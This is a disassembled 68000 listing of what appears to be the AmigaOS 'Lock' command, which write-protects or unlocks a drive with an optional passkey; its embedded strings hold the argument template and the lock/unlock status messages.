CMP.B 112(A0,A3.W),D4 ;6E0: B830B070
DC.W $B171 ;6E4
DC.W $3F7F ;6E6
SGE (A4)+ ;6E8: 5CDC
SUB.B D7,(A3) ;6EA: 9F13
DC.W $F415 ;6EC
EOR D6,(A3)+ ;6EE: BD5B
SUBA.L (A2),A2 ;6F0: 95D2
ADDQ.L #1,(A3)+ ;6F2: 529B
DC.W $59BE ;6F4
DC.W $3FE3 ;6F6
DC.W $3FE3 ;6F8
DC.W $3FE3 ;6FA
DC.W $3FE3 ;6FC
DC.W $9A09 ;6FE
ADDQ #8,(A6)+ ;700: 505E
MOVEA (A6),A5 ;702: 3A56
NBCD (A4)+ ;704: 481C
EOR D1,(A2)+ ;706: B35A
DC.W $3DB2 ;708
DC.W $9A09 ;70A
DC.W $3D56 ;70C
MOVEQ #-5,D5 ;70E: 7AFB
CMP.L -98(A5,D4.L),D4 ;710: B8B5489E
NBCD (A7)+ ;714: 481F
MOVE -38(A6,A6.W),-38(A6,D3.W) ;716: 3DB6E0DA30DA
DC.W $06FF ;71C
DC.W $66FF ;71E
DC.W $B8B4 ;720
DC.W $59BE ;722
LAB_0018:
SLE 24413(A7) ;724: 5FEF5F5D
DC.W $BFBE ;728
DC.W $9A09 ;72A
CMPA.L 16442(A7),A7 ;72C: BFEF403A
DC.W $BFEF ;730
DC.W $9A09 ;732
ADDA (A4),A5 ;734: DAD4
DC.W $A131 ;736
DC.W $187E ;738
DC.W $0CFA ;73A
DC.W $A131 ;73C
DC.W $9A09 ;73E
PEA (A1) ;740: 4851
CMPA.L 16306(A7),A7 ;742: BFEF3FB2
DC.W $3FD4 ;746
CMPA A6,A7 ;748: BECE
DC.W $3EF3 ;74A
DC.W $BE7E ;74C
DC.W $1A5E ;74E
DC.W $28F1 ;750
DC.W $3D52 ;752
SLE 14918(A7) ;754: 5FEF3A46
MOVEA -16450(A1),A5 ;758: 3A69BFBE
ADD.L -(A3),D6 ;75C: DCA3
ADD D6,(A2) ;75E: DD52
CMP.L (A4),D4 ;760: B894
BSR.S LAB_0018 ;762: 61C0
SECTION S_1,CODE
SECSTRT_1:
DC.W $5E3A ;764
DC.W $FFC8 ;766
MOVEM.L D2-D7/A2-A3/A6,-(A7) ;768: 48E73F32
MOVEA #$0004,A0 ;76C: 307C0004
MOVEA.L (A0),A3 ;770: 2650
MOVEQ #20,D7 ;772: 7E14
LEA LAB_0026(PC),A1 ;774: 43FA0160
MOVEQ #36,D0 ;778: 7024
MOVEA.L A3,A6 ;77A: 2C4B
JSR -552(A6) ;77C: 4EAEFDD8
MOVEA.L D0,A2 ;780: 2440
MOVEA.L A2,A0 ;782: 204A
MOVE.L A0,D0 ;784: 2008
BEQ LAB_0024 ;786: 67000134
MOVEQ #15,D0 ;78A: 700F
MOVEQ #0,D1 ;78C: 7200
LEA -40(A5),A0 ;78E: 41EDFFD8
LAB_0019:
MOVE.B D1,(A0)+ ;792: 10C1
DBF D0,LAB_0019 ;794: 51C8FFFC
LEA LAB_0027(PC),A0 ;798: 41FA0148
MOVE.L A0,D1 ;79C: 2208
LEA -40(A5),A6 ;79E: 4DEDFFD8
MOVE.L A6,D2 ;7A2: 240E
MOVEQ #0,D3 ;7A4: 7600
MOVEA.L A2,A6 ;7A6: 2C4A
JSR -798(A6) ;7A8: 4EAEFCE2
MOVE.L D0,-12(A5) ;7AC: 2B40FFF4
TST.L D0 ;7B0: 4A80
BNE.S LAB_001A ;7B2: 6610
JSR -132(A6) ;7B4: 4EAEFF7C
MOVE.L D0,D1 ;7B8: 2200
MOVE.L D3,D2 ;7BA: 2403
JSR -474(A6) ;7BC: 4EAEFE26
BRA LAB_0023 ;7C0: 600000F0
LAB_001A:
MOVEQ #0,D0 ;7C4: 7000
MOVE.L D0,-44(A5) ;7C6: 2B40FFD4
TST.L -36(A5) ;7CA: 4AADFFDC
BEQ.S LAB_001B ;7CE: 6706
MOVEQ #-1,D1 ;7D0: 72FF
MOVE.L D1,-44(A5) ;7D2: 2B41FFD4
LAB_001B:
MOVE.L D0,-48(A5) ;7D6: 2B40FFD0
MOVE.L D0,-56(A5) ;7DA: 2B40FFC8
TST.L -28(A5) ;7DE: 4AADFFE4
BEQ.S LAB_001D ;7E2: 6734
LAB_001C:
MOVEA.L -28(A5),A0 ;7E4: 206DFFE4
MOVE.L -56(A5),D0 ;7E8: 202DFFC8
MOVEA.L A0,A1 ;7EC: 2248
ADDA.L D0,A1 ;7EE: D3C0
TST.B (A1) ;7F0: 4A11
BEQ.S LAB_001D ;7F2: 6724
MOVE.L -48(A5),D1 ;7F4: 222DFFD0
MOVE.L D1,D2 ;7F8: 2401
ASL.L #2,D2 ;7FA: E582
ADD.L D1,D2 ;7FC: D481
ADD.L D2,D2 ;7FE: D482
ADDA.L D0,A0 ;800: D1C0
ADDQ.L #1,-56(A5) ;802: 52ADFFC8
MOVE.B (A0),D0 ;806: 1010
EXT D0 ;808: 4880
EXT.L D0 ;80A: 48C0
MOVE.L D2,-48(A5) ;80C: 2B42FFD0
ADD.L D0,D2 ;810: D480
MOVE.L D2,-48(A5) ;812: 2B42FFD0
BRA.S LAB_001C ;816: 60CC
LAB_001D:
MOVEA.L -40(A5),A0 ;818: 206DFFD8
MOVE.L A0,D1 ;81C: 2208
MOVEA.L A2,A6 ;81E: 2C4A
JSR -174(A6) ;820: 4EAEFF52
MOVE.L D0,-52(A5) ;824: 2B40FFCC
TST.L D0 ;828: 4A80
BNE.S LAB_001E ;82A: 660E
JSR -132(A6) ;82C: 4EAEFF7C
MOVE.L D0,D1 ;830: 2200
MOVEQ #0,D2 ;832: 7400
JSR -474(A6) ;834: 4EAEFE26
BRA.S LAB_0022 ;838: 6070
LAB_001E:
MOVEM.L D5-D6,-(A7) ;83A: 48E70600
MOVE.L D0,D1 ;83E: 2200
MOVE.L #$000003FF,D2 ;840: 243C000003FF
MOVE.L -44(A5),D3 ;846: 262DFFD4
MOVE.L -48(A5),D4 ;84A: 282DFFD0
MOVEQ #0,D5 ;84E: 7A00
MOVE.L D5,D6 ;850: 2C05
JSR -240(A6) ;852: 4EAEFF10
MOVEM.L (A7)+,D5-D6 ;856: 4CDF0060
MOVE.L D0,D5 ;85A: 2A00
TST.L D5 ;85C: 4A85
BNE.S LAB_001F ;85E: 6628
JSR -132(A6) ;860: 4EAEFF7C
MOVE.L D0,D6 ;864: 2C00
MOVE.L D6,D1 ;866: 2206
MOVEQ #2,D2 ;868: 7402
MOVEQ #0,D3 ;86A: 7600
MOVE.L -52(A5),D4 ;86C: 282DFFCC
JSR -480(A6) ;870: 4EAEFE20
TST.L D0 ;874: 4A80
BEQ.S LAB_001F ;876: 6710
LEA LAB_0028(PC),A0 ;878: 41FA00A0
MOVE.L A0,D1 ;87C: 2208
LEA -40(A5),A1 ;87E: 43EDFFD8
MOVE.L A1,D2 ;882: 2409
JSR -954(A6) ;884: 4EAEFC46
LAB_001F:
TST.L D5 ;888: 4A85
BEQ.S LAB_0022 ;88A: 671E
TST.L -44(A5) ;88C: 4AADFFD4
BEQ.S LAB_0020 ;890: 6706
LEA LAB_002A(PC),A0 ;892: 41FA00A8
BRA.S LAB_0021 ;896: 6004
LAB_0020:
LEA LAB_002C(PC),A0 ;898: 41FA00AE
LAB_0021:
MOVE.L A0,D1 ;89C: 2208
LEA -40(A5),A1 ;89E: 43EDFFD8
MOVE.L A1,D2 ;8A2: 2409
JSR -954(A6) ;8A4: 4EAEFC46
MOVEQ #0,D7 ;8A8: 7E00
LAB_0022:
MOVE.L -12(A5),D1 ;8AA: 222DFFF4
JSR -858(A6) ;8AE: 4EAEFCA6
LAB_0023:
MOVEA.L A2,A1 ;8B2: 224A
MOVEA.L A3,A6 ;8B4: 2C4B
JSR -414(A6) ;8B6: 4EAEFE62
BRA.S LAB_0025 ;8BA: 6010
LAB_0024:
MOVEA #$0004,A0 ;8BC: 307C0004
MOVEA.L (A0),A1 ;8C0: 2250
MOVEA.L 276(A1),A0 ;8C2: 20690114
MOVEQ #122,D0 ;8C6: 707A
MOVE.L D0,148(A0) ;8C8: 21400094
LAB_0025:
MOVE.L D7,D0 ;8CC: 2007
MOVEM.L (A7)+,D2-D7/A2-A3/A6 ;8CE: 4CDF4CFC
UNLK A5 ;8D2: 4E5D
RTS ;8D4: 4E75
LAB_0026:
DC.W $646F ;8D6
DC.W $732E ;8D8
DC.W $6C69 ;8DA
BHI.S LAB_002E ;8DC: 6272
BSR.S LAB_002F ;8DE: 6172
DC.W $7900 ;8E0
LAB_0027:
NEG (A2) ;8E2: 4452
DC.W $4956 ;8E4
DC.W $452F ;8E6
DC.W $412C ;8E8
DC.W $4F4E ;8EA
DC.W $2F53 ;8EC
MOVEA.L A7,A6 ;8EE: 2C4F
NOT D6 ;8F0: 4646
MOVE.L (A3),11344(A7) ;8F2: 2F532C50
DC.W $4153 ;8F6
SUBQ #1,A3 ;8F8: 534B
DC.W $4559 ;8FA
DC.W $0024 ;8FC
ADDQ #3,D5 ;8FE: 5645
DC.W $523A ;900
DC.W $206C ;902
DC.W $6F63 ;904
BMI.S LAB_0029 ;906: 6B20
DC.W $3337 ;908
MOVE.L 40(A1,D2.W),D7 ;90A: 2E312028
DC.W $3130 ;90E
DC.W $2E31 ;910
DC.W $2E39 ;912
DC.W $3129 ;914
DC.W $0A0D ;916
DC.W $0000 ;918
LAB_0028:
DC.W $4174 ;91A
MOVEQ #101,D2 ;91C: 7465
DC.W $6D70 ;91E
MOVEQ #32,D2 ;920: 7420
MOVEQ #111,D2 ;922: 746F
DC.W $206C ;924
DC.W $6F63 ;926
LAB_0029:
BMI.S LAB_002D ;928: 6B20
DC.W $6472 ;92A
DC.W $6976 ;92C
BCS.S LAB_002E ;92E: 6520
DC.W $2573 ;930
MOVEA.L -(A6),A0 ;932: 2066
DC.W $6169 ;934
DC.W $6C65 ;936
BCC.S LAB_002B ;938: 640A
DC.W $0000 ;93A
LAB_002A:
DC.W $2573 ;93C
DC.W $206C ;93E
DC.W $6F63 ;940
DC.W $6B65 ;942
LAB_002B:
BCC.S LAB_002E ;944: 640A
DC.W $0000 ;946
LAB_002C:
DC.W $2573 ;948
LAB_002D:
DC.W $2075 ;94A
DC.W $6E6C ;94C
DC.W $6F63 ;94E
LAB_002E:
DC.W $6B65 ;950
LAB_002F:
DC.W $640A ;952
ORI.B #$00,D0 ;954: 00000000
END